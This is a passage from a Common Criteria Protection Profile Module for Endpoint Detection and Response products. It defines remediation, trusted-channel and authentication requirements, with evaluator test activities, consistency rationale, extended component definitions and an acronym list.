- - Not Applicable
# Management Function Administrator SOC
Analyst
Read-
Only
User
7 Quarantine an endpoint by [selection: logically
quarantining the endpoint from the network unless
allowlisted, quarantining the malicious file on the
endpoint]
8 Terminate a running process on an endpoint
9 Retrieve potentially unauthorized or affected files
from an endpoint
].
Application Note: This requirement captures all the remediation functionality the EDR provides the
SOC Analyst and optionally the Administrator.
Logically quarantine from the network refers to restricting communications from the endpoint to the
rest of the network, it may include a restricted allowlist.
Any function that is not mandatory for at least one role is considered optional for the TOE.
Evaluation Activities
FMT_SRF_EXT.1
TSS
The evaluator shall check to ensure that the TSS describes what roles can perform what remediation actions and how each
remediation action is performed.
Guidance
The evaluator shall review the operational guidance to verify that the EDR has documented capabilities to perform the
management functions.
Tests
For each role, the evaluator shall perform the below tests, verifying that each role in the chart can perform their permitted
functions and are restricted from performing functions that they do not have access to per the
Test FMT_SRF_EXT.1:1: Conditional: If "logically quarantining the endpoint from the network unless allowlisted"
is selected the evaluator shall logically quarantine a managed endpoint system from the network and verify that the
system is unable to access network addresses or resources outside of an allowlist.
Test FMT_SRF_EXT.1:2: Conditional: If "quarantining the malicious file on the endpoint" is selected the evaluator
shall verify the functionality to quarantine potentially unauthorized files on the endpoint.
Test FMT_SRF_EXT.1:3: The evaluator shall run an executable on a managed endpoint system, terminate its process
from the EDR management dashboard, and then verify that the process is no longer running on the system.
O M -
O M -
O O -
Test FMT_SRF_EXT.1:4: (Conditional: if the EDR includes the function to retrieve potentially unauthorized or
affected files from an endpoint, then): The evaluator shall place a file known to trigger an incident alert on the file
system then retrieve the contents of the file from the EDR management dashboard.
5.2.5 Protection of the TSF (FPT)
FPT_ITT.1 Basic Internal TSF Data Transfer Protection
FPT_ITT.1.1
The EDR shall [selection:
implement [selection: TLS as defined in the TLS Package, HTTPS as defined in the Base-PP]
invoke platform-provided functionality for [selection: TLS, HTTPS]
] to protect TSF data from [modification, disclosure] when it is transmitted between separate parts of
the TOE.
Application Note: The intent of the above requirement is to use the cryptographic protocols identified
in the requirement to establish and maintain a trusted channel between the EDR and the Host Agent,
which are considered to be separate parts of the TOE. The TLS Package permits the use of either TLS
or DTLS. Only TLS, DTLS, or HTTPS can be used in this trusted channel.
This requirement is to ensure that the transmission of any logs, process lists, system information, etc,
when commanded, or at configurable intervals, is properly protected. This internal channel also
protects any commands and policies sent by the EDR to the Host Agent. Either the Host Agent or the
EDR is able to initiate the connection.
This internal channel protects both the connection between an enrolled Host Agent and the EDR and
the connection between an unenrolled Host Agent and the EDR during the enrollment operation.
Different protocols can be used for these two connections, and the description in the TSS should make
this difference clear.
The internal channel uses a protocol from the TLS Package or HTTPS as the protocol that preserves
the confidentiality and integrity of EDR communications. The ST author chooses the mechanism or
mechanisms supported by the EDR, and then ensures the correct requirements are included in the ST if
not already present. Protocol, RBG, certificate validation, algorithm, and similar services may be met
with platform-provided services.
Evaluation Activities
FPT_ITT.1
TSS
If "invoke platform-provided functionality for..." is selected, the evaluator shall verify the TSS contains the calls to the
platform that TOE is leveraging to invoke the functionality.
If "implement..." is selected, the evaluator shall examine the TSS to verify how Agent-Server communications are protected
is described and conforms to the SFR. The evaluator shall also confirm that all protocols listed in the TSS are consistent
with those specified in the requirement, and are included in the requirements in the ST.
Guidance
The evaluator shall confirm that the operational guidance contains instructions for configuring the communication channel
between the Host Agent and the EDR for each supported method.
Tests
Test FPT_ITT.1:1: The evaluators shall ensure that communications using each specified (in the operational
guidance) Agent-Server communication method is tested during the course of the evaluation, setting up the
connections as described in the operational guidance and ensuring that communication is successful.
Test FPT_ITT.1:2: The evaluator shall ensure, for each method of Agent-Server communication, the channel data is
not sent in plaintext.
5.2.6 Trusted Path/Channels (FTP)
FTP_TRP.1 Trusted Path
FTP_TRP.1.1
The TSF shall [selection:
implement [selection: TLS as defined in the TLS Package, HTTPS as defined in the Base-PP]
invoke platform-provided functionality for [selection: TLS, HTTPS]
] to provide a communication path between itself and [remote] administrators that is logically distinct
from other communication paths and provides assured identification of its end points and protection of
the communicated data from [modification, disclosure].
FTP_TRP.1.2
The TSF shall [selection: implement functionality, invoke platform-provided functionality] to permit
[remote administrators] to initiate communication via the trusted path.
FTP_TRP.1.3
The TSF shall [selection: implement functionality, invoke platform-provided functionality] to require
the use of the trusted path for [all remote administration actions].
Application Note: This requirement ensures that authorized remote administrators initiate all
communication with the EDR via a trusted path, and that all communications with the EDR by remote
administrators is performed over this path. The data passed in this trusted communication channel are
encrypted as defined in the protocol chosen in the first selection. The ST author chooses the
mechanism or mechanisms supported by the EDR.
Evaluation Activities
FTP_TRP.1
TSS
The evaluator shall examine the TSS to verify how remote administration communications are protected is described and
conforms to the SFR. The evaluator shall examine the TSS to determine that the methods of remote TOE administration are
indicated, along with how those communications are protected. The evaluator shall also confirm that all protocols listed in
the TSS in support of TOE administration are consistent with those specified in the requirement, and are included in the
requirements in the ST.
If "invoke platform-provided functionality for..." is selected in FTP_TRP.1.1, the evaluator shall verify the TSS contains the
calls to the platform that TOE is leveraging to invoke the functionality.
Guidance
The evaluator shall confirm that the operational guidance contains instructions for establishing the remote administrative
sessions for each supported method.
Tests
Test FTP_TRP.1:1: The evaluators shall ensure that communications using each specified (in the operational
guidance) remote administration method is tested during the course of the evaluation, setting up the connections as
described in the operational guidance and ensuring that communication is successful.
Test FTP_TRP.1:2: For each method of remote administration supported, the evaluator shall follow the operational
guidance to ensure that there is no available interface that can be used by a remote user to establish remote
administrative sessions without invoking the trusted path.
Test FTP_TRP.1:3: The evaluator shall ensure, for each method of remote administration, the channel data is not
sent in plaintext.
5.3 TOE Security Functional Requirements Rationale
The following rationale provides justification for each SFR for the TOE, showing that the SFRs are suitable to address the specified threats:
Table 6: SFR Rationale
Threat Addressed by Rationale
T.CREDENTIAL_​
REUSE
FPT_ITT.1 The PP-Module includes FPT_ITT.1 to define the internal trusted channel that
the TSF uses to communicate with connected Host Agents as well as the
communications protocols used to establish these trusted channels.
FTP_TRP.1 The PP-Module includes FTP_TRP.1 to define the communications protocols
used to support secure remote administration of the TSF.
T.MISCONFIGURATION FAU_ALT_EXT.1 The PP-Module includes FAU_ALT_EXT.1 to facilitate management by
providing a function for authorized users to interact with security-relevant
data that is provided to the TSF.
FAU_COL_EXT.1 The PP-Module includes FAU_COL_EXT.1 to facilitate management by
defining the security-relevant data that is collected by the TSF.
FAU_GEN.1/EDR The PP-Module includes FAU_GEN.1/EDR to ensure that the TOE provides
accountability through the generation of audit data for security-relevant
events.
FIA_AUT_EXT.1 The PP-Module includes FIA_AUT_EXT.1 to define how management users
are authenticated by the TSF to limit the subjects that can execute
management functions on the TOE.
FIA_PWD_EXT.1 The PP-Module includes FIA_PWD_EXT.1 to define composition
requirements for the Password Authentication Factor to ensure that an
authorized user cannot access protected management functions without
authorization.
FMT_SMF.1/ENDPOINT The PP-Module includes FMT_SMF.1/ENDPOINT to define the management
functions that can be performed to control the behavior of the TSF and the
management roles that are authorized to perform those functions.
FMT_SMF.1/HOST The PP-Module includes FMT_SMF.1/HOST to define the management
functions that can be performed to control the behavior of Host Agents that
are connected to the TOE and the management roles that are authorized to
perform those functions.
FMT_SMR.1 The PP-Module includes FMT_SMR.1 to define the management roles that
the TSF supports so that its management functions can be separated by role.
FMT_SRF_EXT.1 The PP-Module includes FMT_SRF_EXT.1 to define the remediation
functions that are available to authorized users to issue corrective actions on a
system that has a connected Host Agent.
FMT_TRM_EXT.1
(objective)
The PP-Module includes FMT_TRM_EXT.1 to provide an optional capability
to ensure the integrity of management commands and policies issued to
external Host Agents through use of a digital signature.
6 Consistency Rationale
6.1 Protection Profile for Application Software
6.1.1 Consistency of TOE Type
If this PP-Module is used to extend the Application Software PP, the TOE type for the overall TOE is still a software-based application. The
TOE boundary is simply extended to include the EDR functionality that is built into the application so that additional security functionality
is claimed within the scope of the TOE.
6.1.2 Consistency of Security Problem Definition
Table 7: Consistency of Security Problem Definition (App PP base)
PP-Module Threat,
Assumption, OSP
Consistency Rationale
T.CREDENTIAL_REUSE This threat applies to authentication functionality that is introduced in this PP-Module and does not
affect the functionality described by the Base-PP.
T.MISCONFIGURATION This threat applies to management functionality that is introduced in this PP-Module and does not
affect the functionality described by the Base-PP.
A.CONNECTIVITY This assumption is consistent with the Base-PP because assuming network availability is consistent
with the A.PLATFORM assumption defined by the Base-PP, which expects the TOE to have a
trustworthy computing platform.
6.1.3 Consistency of OE Objectives
Table 8: Consistency of OE Objectives (App PP base)
PP-Module OE Objective Consistency Rationale
OE.RELIABLE_TRANSIT This objective relates to an external interface that does not exist in the Base-PP and does not affect Base-PP
functionality.
6.1.4 Consistency of Requirements
This PP-Module identifies several SFRs from the App PP that are needed to support Endpoint Detection and Response (EDR) functionality.
This is considered to be consistent because the functionality provided by the App PP is being used for its intended purpose. The rationale for
why this does not conflict with the claims defined by the App PP are as follows:
Table 9: Consistency of Requirements (App PP base)
PP-Module
Requirement
Consistency Rationale
Modified SFRs
This PP-Module does not modify any requirements when the App PP is the base.
Additional SFRs
This PP-Module does not add any requirements when the App PP is the base.
Mandatory SFRs
FAU_ALT_EXT.1 This SFR defines auditable alerts for the EDR. It does not impact the [AppPP] functionality.
FAU_COL_EXT.1 This SFR defines the minimum event data that the EDR collects from a Host Agent. It does not impact the
[AppPP] functionality.
FAU_GEN.1/EDR This SFR defines the minimum event data that the EDR server must record about authorized management
dashboard activity. It does not impact the [AppPP] functionality.
FIA_AUT_EXT.1 This SFR defines authentication mechanisms for the EDR. It does not impact the [AppPP] functionality.
FIA_PWD_EXT.1 This SFR defines specific authentication criteria for passwords. It does not impact the [AppPP] functionality.
FMT_SMF.1/ENDPOINT This SFR defines a specific set of management functions for an EDR by an EDR. It does not impact the
[AppPP] functionality.
FMT_SMF.1/HOST This SFR defines a specific set of management functions for a Host Agent by an EDR. It does not impact the
[AppPP] functionality.
FMT_SMR.1 This SFR defines a specific set of management roles for an EDR. It does not impact the [AppPP]
functionality.
FMT_SRF_EXT.1 This SFR defines a specific set of remediation functions for an EDR. It does not impact the [AppPP]
functionality.
FPT_ITT.1 This SFR defines a specific set of functions for logically distinct secure communication with a Host Agent.
It does not impact the [AppPP] functionality.
FTP_TRP.1 This SFR defines a specific set of functions for secure remote administration of the EDR. It does not impact
[AppPP] functionality.
Optional SFRs
This PP-Module does not define any Optional requirements.
Objective SFRs
FMT_TRM_EXT.1 This SFR defines protections for the integrity of commands sent to the Host Agent. It does not impact the
[AppPP] functionality.
Implementation-dependent SFRs
This PP-Module does not define any Implementation-dependent requirements.
Selection-based SFRs
This PP-Module does not define any Selection-based requirements.
Appendix A - Optional SFRs
A.1 Strictly Optional Requirements
This PP-Module does not define any Strictly Optional SFRs or SARs.
A.2 Objective Requirements
A.2.1 Auditable Events for Objective SFRs
Table 10: Auditable Events for Objective Requirements
Requirement Auditable Events Additional Audit Record Contents
FMT_TRM_EXT.1 No events specified N/A
A.2.2 Security Management (FMT)
FMT_TRM_EXT.1 Trusted Remediation Functions
FMT_TRM_EXT.1.1
The [selection: EDR, EDR Platform] shall digitally sign commands and policies sent to the Host Agent
using [selection: RSA, ECDSA] signatures that meet FIPS PUB 186-5.
Application Note: The intent of this requirement is to cryptographically tie any policy updates or
commands sent to the Host Agent as being from the EDR. This is not to protect the policies in transit as
they are already protected by FPT_ITT.1. If the TSF implements this function, any signature
algorithms used should be consistent with any selections made in FCS_COP.1/Sig Gen and
FCS_COP.1/SigVer in the Protection Profile for Application Software, Version 2.0.
Evaluation Activities
FMT_TRM_EXT.1
TSS
The evaluator shall check to ensure that the TSS describes how all commands and policies are signed.
Guidance
The evaluator shall review the operational guidance and ensure that the EDR any configuration information for policy
signing is included.
Tests
The evaluator shall select any one remediation function documented in the administrative guide (e.g., terminate process),
and execute that command while capturing traffic. The evaluator shall review captured network traffic and verify that a
digital signature was sent along with the coinciding command or policy update. The EDR may need to be configured in a
manner to disable transport encryption for this test or the network capture tool may need to be configured with the private
key such that decrypted traffic can be made available to the evaluator.
A.3 Implementation-dependent Requirements
This PP-Module does not define any Implementation-dependent SFRs.
Appendix B - Selection-based Requirements
This PP-Module does not define any Selection-based SFRs.
Appendix C - Extended Component Definitions
This appendix contains the definitions for all extended requirements specified in the PP-Module.
C.1 Extended Components Table
All extended components specified in the PP-Module are listed in this table:
Table 11: Extended Component Definitions
Functional Class Functional Components
Identification and Authentication (FIA) FIA_AUT_EXT Dashboard Authentication Mechanisms
FIA_PWD_EXT Password Authentication
Security Audit (FAU) FAU_ALT_EXT Server Alerts
FAU_COL_EXT Collected Endpoint Data
Security Management (FMT) FMT_SRF_EXT Specification of Remediation Functions
FMT_TRM_EXT Trusted Remediation Functions
C.2 Extended Component Definitions
C.2.1 Identification and Authentication (FIA)
This PP-Module defines the following extended components as part of the FIA class originally defined by CC Part 2:
C.2.1.1 FIA_AUT_EXT Dashboard Authentication Mechanisms
Family Behavior
Components in this family define requirements for authentication behavior that is unique to an EDR TOE.
Component Leveling
FIA_AUT_EXT 1
FIA_AUT_EXT.1, Dashboard Authentication Mechanisms, identifies the only authentication factors that may be used for authentication
to a management interface of an EDR.
Management: FIA_AUT_EXT.1
There are no management functions foreseen.
Audit: FIA_AUT_EXT.1
There are no audit events foreseen.
FIA_AUT_EXT.1 Dashboard Authentication Mechanisms
Hierarchical to: No other components.
Dependencies to: No dependencies.
FIA_AUT_EXT.1.1
The TSF shall [selection:
leverage the platform for authentication
provide authentication based on username/password and [selection:
authentication with external smart card and PIN
no other factors
]
] to support logins to any management dashboard or API.
C.2.1.2 FIA_PWD_EXT Password Authentication
Family Behavior
Components in this family define requirements for password authentication criteria.
Component Leveling
FIA_PWD_EXT 1
FIA_PWD_EXT.1, Password Authentication, defines the length and character set requirements for password authentication factors.
Management: FIA_PWD_EXT.1
There are no management functions foreseen.
Audit: FIA_PWD_EXT.1
There are no audit events foreseen.
FIA_PWD_EXT.1 Password Authentication
Hierarchical to: No other components.
Dependencies to: FIA_AUT_EXT.1 Dashboard Authentication Mechanisms
FIA_PWD_EXT.1.1
The TSF shall support the following for the Password Authentication Factor:
1. Passwords shall be able to be composed of any combination of [selection: upper and lower case letters, [assignment: a
character set of at least 52 characters]], numbers, and special characters: [selection: "!", "@", "#", "$", "%", "^", "&", "*", "(",
")", [assignment: other characters]],
2. Password length up to [assignment: an integer greater than or equal to 64] characters shall be supported.
C.2.2 Security Audit (FAU)
This PP-Module defines the following extended components as part of the FAU class originally defined by CC Part 2:
C.2.2.1 FAU_ALT_EXT Server Alerts
Family Behavior
Components in this family define requirements for system activity that causes the TSF to generate an alert of the activity and for the
contents of these alerts.
Component Leveling
FAU_ALT_EXT 1
FAU_ALT_EXT.1, Server Alerts, describes alert triggers and the information contained in alerts.
Management: FAU_ALT_EXT.1
The following actions could be considered for the management functions in FMT:
Configure visual suppression of alerts.
Audit: FAU_ALT_EXT.1
There are no auditable events foreseen.
FAU_ALT_EXT.1 Server Alerts
Hierarchical to: No other components.
Dependencies to: No dependencies.
FAU_ALT_EXT.1.1
The TSF shall alert authorized users on a management dashboard in the event of: detection of potentially unauthorized activity on
enrolled endpoints.
FAU_ALT_EXT.1.2
The TSF shall provide a visualization of detected alerts of potentially unauthorized incidents, and shall include:
a. An initial incident severity and [selection: assessment, categorization, score, ranking],
b. An incident timeline.
FAU_ALT_EXT.1.3
The TSF shall provide a data export capability for selected alerts with a specified standards-based format of [assignment: alert
format].
C.2.2.2 FAU_COL_EXT Collected Endpoint Data
Family Behavior
Components in this family define requirements for the data that is collected from a Host Agent.
Component Leveling
FAU_COL_EXT 1
FAU_COL_EXT.1, Collected Endpoint Data, identifies the specific data collected from a Host Agent.
Management: FAU_COL_EXT.1
The following actions could be considered for the management functions in FMT:
Configuration of the time period for transmission of collected data.
Configuration of label or tag information to associate collected data with individual endpoint systems or groups of systems.
Audit: FAU_COL_EXT.1
There are no auditable events foreseen.
FAU_COL_EXT.1 Collected Endpoint Data
Hierarchical to: No other components.
Dependencies to: No dependencies.
FAU_COL_EXT.1.1
The TSF shall collect the following minimum set of endpoint data from a Host Agent:
a. Operating System (OS) version, architecture, and IP Address,
b. Privileged and unprivileged endpoint account login activity,
c. Process creation,
d. Libraries and modules loaded by processes,
e. Filenames and [selection: [assignment: other metadata], no other metadata] of files created and [selection: [assignment: other
activities performed to files], no other activities] on persistent storage,
f. [selection: [assignment: other host data], no other host data].
C.2.3 Security Management (FMT)
This PP-Module defines the following extended components as part of the FMT class originally defined by CC Part 2:
C.2.3.1 FMT_SRF_EXT Specification of Remediation Functions
Family Behavior
Components in this family define requirements for remediation functions that an EDR can perform to affect the behavior of an endpoint
system.
Component Leveling
FMT_SRF_EXT 1
FMT_SRF_EXT.1, Specification of Remediation Functions, lists the supported remediation functions and identifies the management
roles that may perform these functions.
Management: FMT_SRF_EXT.1
There are no management functions foreseen.
Audit: FMT_SRF_EXT.1
There are no audit events foreseen.
FMT_SRF_EXT.1 Specification of Remediation Functions
Hierarchical to: No other components.
Dependencies to: FMT_SMR.1 Security Management Roles
FMT_SRF_EXT.1.1
The TSF shall be capable of performing the following remediation functions:
Table 12: Management Functions
[Status Markers:
M - Mandatory
O - Optional or Objective
- - Not Applicable
# Management Function Administrator SOC
Analyst
Read-
Only User
7 Quarantine an endpoint by [selection: logically quarantining the endpoint from the
network unless allowlisted, quarantining the malicious file on the endpoint]
8 Terminate a running process on an endpoint
9 Retrieve potentially unauthorized or affected files from an endpoint
].
C.2.3.2 FMT_TRM_EXT Trusted Remediation Functions
Family Behavior
Components in this family define how the TOE can assert the authenticity of the remediation actions it requests from Host Agents.
Component Leveling
FMT_TRM_EXT 1
FMT_TRM_EXT.1, Trusted Remediation Functions, requires all management activities bound for a Host Agent to be digitally signed.
Management: FMT_TRM_EXT.1
There are no management functions foreseen.
Audit: FMT_TRM_EXT.1
There are no audit events foreseen.
FMT_TRM_EXT.1 Trusted Remediation Functions
Hierarchical to: No other components.
Dependencies to: No dependencies.
FMT_TRM_EXT.1.1
The [selection: EDR, EDR Platform] shall digitally sign commands and policies sent to the Host Agent using [selection: RSA, ECDSA]
signatures that meet FIPS PUB 186-5.
O M -
O M -
O O -
Appendix D - Implicitly Satisfied Requirements
This appendix lists requirements that should be considered satisfied by products successfully evaluated against this PP-Module. These
requirements are not featured explicitly as SFRs and should not be included in the ST. They are not included as standalone SFRs because it
would increase the time, cost, and complexity of evaluation. This approach is permitted by [CC] Part 1, 8.3 Dependencies between
components.
This information benefits systems engineering activities which call for inclusion of particular security controls. Evaluation against the PP-
Module provides evidence that these controls are present and have been evaluated.
Requirement Rationale for Satisfaction
FIA_UID.1 - Timing
of Identification
CC Part 2 specifies FIA_UID.1 as a dependency of FMT_SMR.1 because the TSF must have some way of
identifying users so that they can be associated with management roles. This dependency is implicitly addressed
through FIA_AUT_EXT.1, which specifies an alternative method of user identification.
FPT_STM.1 -
Reliable Time
Stamps
CC Part 2 specifies FPT_STM.1 as a dependency of FAU_GEN.1 because the audit data require a reliable
timestamp to satisfy FAU_GEN.1.2. This dependency is implicitly addressed through the A.PLATFORM
assumption of the Base-PP because a "trustworthy computing platform" is assumed to include a reliable system
clock.
Appendix E - Acronyms
Table 13: Acronyms
Acronym Meaning
API Application Programming Interface
Base-PP Base Protection Profile
CC Common Criteria
CEF Common Event Format
CEM Common Evaluation Methodology
cPP Collaborative Protection Profile
CybOX Cyber Observable expression
DRBG Deterministic Random Bit Generator
DSS Digital Signature Standard
DTLS Datagram Transport Layer Security
EDR Endpoint Detection and Response
EDR Endpoint Detection and Response
EP Extended Package
FP Functional Package
HTTPS Hypertext Transfer Protocol Secure
IODEF Incident Object Description Exchange Format
IP Internet Protocol
IT Information Technology
LEEF Log Event Extended Format
OE Operational Environment
OS Operating System
PP Protection Profile
PP-Configuration Protection Profile Configuration
PP-Module Protection Profile Module
RBG Random Bit Generator
SAR Security Assurance Requirement
SFR Security Functional Requirement
ST Security Target
STIX Structured Threat Information expression
TLS Transport Layer Security
TOE Target of Evaluation
TSF TOE Security Functionality
TSFI TSF Interface
TSS TOE Summary Specification
Appendix F - Bibliography
Table 14: Bibliography
Identifier Title
[CC] Common Criteria for Information Technology Security Evaluation -
Part 1: Introduction and general model, CCMB-2022-11-001, CC:2022, Revision 1, November 2022.
Part 2: Security functional requirements, CCMB-2022-11-002, CC:2022, Revision 1, November 2022.
Part 3: Security assurance requirements, CCMB-2022-11-003, CC:2022, Revision 1, November 2022.
Part 4: Framework for the specification of evaluation methods and activities, CCMB-2022-11-004, CC:2022, Revision
1, November 2022.
Part 5: Pre-defined packages of security requirements, CCMB-2022-11-005, CC:2022, Revision 1, November 2022.
[CEM] Common Methodology for Information Technology Security Evaluation -
Evaluation methodology, CCMB-2022-11-006, CC:2022, Revision 1, November 2022.
[AppPP] Protection Profile for Application Software, Version 2.0, June 16, 2025
[EDR] PP-Module for Host Agent, Version 2.0, January 13, 2026